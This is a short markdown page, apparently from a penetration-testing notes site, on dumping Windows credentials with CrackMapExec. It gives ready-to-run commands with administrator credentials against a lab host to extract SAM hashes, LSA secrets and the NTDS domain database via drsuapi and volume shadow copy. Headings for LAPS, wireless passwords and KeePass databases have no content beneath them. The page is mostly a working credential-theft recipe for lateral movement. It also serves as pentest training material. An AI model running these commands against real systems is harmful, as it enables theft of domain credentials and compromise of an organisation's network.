dump-credentials-with-crackmapexec.md

description	Learn how to Dump Credentials with CrackMapExec and move laterally inside infrastructures.
coverY	0

🔥 Dump Credentials with CrackMapExec

Environment Credentials

Dump Credentials from SAM File

{% code overflow="wrap" %}

crackmapexec smb 192.168.1.119 -u 'Administrator' -p 'Password!' -d dc.deathstar.rfs --sam

{% endcode %}

SAM Dump

LSA

{% code overflow="wrap" %}

crackmapexec smb 192.168.1.119 -u 'Administrator' -p 'Password!' -d dc.deathstar.rfs --lsa

{% endcode %}

LSA Dump

LAPS

NTDS drsuapi

{% code overflow="wrap" %}

crackmapexec smb 192.168.1.119 -u 'Administrator' -p 'Password!' -d dc.deathstar.rfs --ntds

{% endcode %}

Dump NTDS DRSUAPI

NTDS VSS

{% code overflow="wrap" %}

crackmapexec smb 192.168.1.119 -u 'Administrator' -p 'Password!' -d dc.deathstar.rfs --ntds vss

{% endcode %}

Applications Credentials

Wireless Passwords

KeePass Databases